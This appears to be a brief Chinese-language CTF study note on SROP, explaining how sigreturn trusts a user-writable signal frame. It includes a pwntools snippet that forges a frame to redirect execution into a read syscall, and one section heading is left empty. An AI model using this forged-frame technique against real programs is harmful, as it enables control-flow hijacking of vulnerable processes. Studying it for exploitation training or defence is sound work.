SROP
# Signal 机制
在 signal handler 返回之后,sigreturn 系统调用处理函数会根据当前的栈指针 esp / rsp 指向的 Signal Frame 对进程上下文进行恢复。
# signal frame 的结构
# 利用原理
-
Signal Frame 被保存在用户的地址空间中,所以用户是可以读写的。
-
内核处理 sigreturn 系统调用时不会检查当前的 Signal Frame 是否是由内核所创建。
# 创建 signal frame
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = leak_stack
sigframe.rdx = 0x400
sigframe.rsp = leak_stack
sigframe.rip = syscall_retn
io.send(str(sigframe))
pwntools 中集成了对于 srop 的攻击。SigreturnFrame() 会创建一个完整的 signal frame(包括 rt_sigreturn)且 rt_sigreturn 初始化为 0。
# 一些技巧
- 以 read 的返回值设置 eax / rax。